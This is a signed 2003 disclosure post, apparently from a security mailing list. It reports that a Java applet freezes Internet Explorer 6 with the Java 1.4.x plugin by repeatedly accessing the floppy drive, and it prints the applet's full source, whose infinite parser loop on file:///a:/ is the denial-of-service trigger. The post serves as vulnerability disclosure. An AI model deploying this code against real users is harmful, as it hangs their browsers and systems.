-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, be prepared that your IE6 will be blocked if you run the java plugin (any 1.4.x including 1.4.2_02) with the following applet: http://www.illegalaccess.org/exploits/java/applet/MyFloppySucks.html Of course this only work when you have a drive a:. Some may already know this applet but I found a way to increase the frequency the floppy is accessed. This is almost like the good old stepper motor demo on the C1541 commodore drive, where the floppy played a christmas song. Sun has been informed about this issue over a week ago. Since then I got no answer. Maybe they have no floppy drives :-( Here is the source: import java.awt.Label; public class MyFloppySucks extends java.applet.Applet { private Label m_labVersionVendor; public MyFloppySucks () //constructor { m_labVersionVendor = new Label ("Java Floppy Stress Testing Applet, (2003) www.illegalaccess.org" +" / Java Version: " + System.getProperty("java.version")+ " from "+System.getProperty("java.vendor")); this.add(m_labVersionVendor); } public void paint(java.awt.Graphics g) { while (1==1) try { org.apache.crimson.tree.XmlDocument.createXmlDocument("file:///a:/",false); } catch (Exception e) { System.out.println("Java Floppy Stress Testing Applet, (2003) www.illegalaccess.org"); } } } Marc - -- Never be afraid to try something new.
